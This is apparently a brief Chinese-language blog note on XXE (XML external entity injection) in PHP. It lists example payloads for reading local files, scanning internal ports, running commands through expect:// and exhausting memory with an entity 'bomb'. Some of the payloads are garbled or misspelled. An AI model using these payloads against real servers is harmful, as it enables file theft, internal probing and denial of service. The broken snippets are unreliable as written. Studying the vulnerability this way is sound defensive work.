XXE漏洞

发布时间 2023-08-21 15:34:52作者: na2co3-

XXE漏洞

xml external entity injection外部实体注入

$xml = simplexml_load_string($data);//运行xml语句

危害:

可以读取磁盘上的文件

<?xml version="1.0" encoding="utf-8"?><!doctype note[<!ENTITY xxe SYSTEM "file://E://in.txt">]><login>&xxe;</login>

端口扫描

<!ENITY xxe SYSTEM "http://127.0.0.1:3306">

如果端口未开放会出现报错

执行命令

需要安装expect扩展

<?xml version="1.0" encoding="utf-8"?>

<!doctype note[

<!ENTITY xxe SYSTEM "expect://ipconfig">]>

<root>

<name>&xxe;</name>

</root>

对内网进行攻击

内容膨胀占用大量内存

 xxe炸弹,服务器中断

< !ENTITY bomb” file:///dev/random"I >]><msg>&bomb;</msg>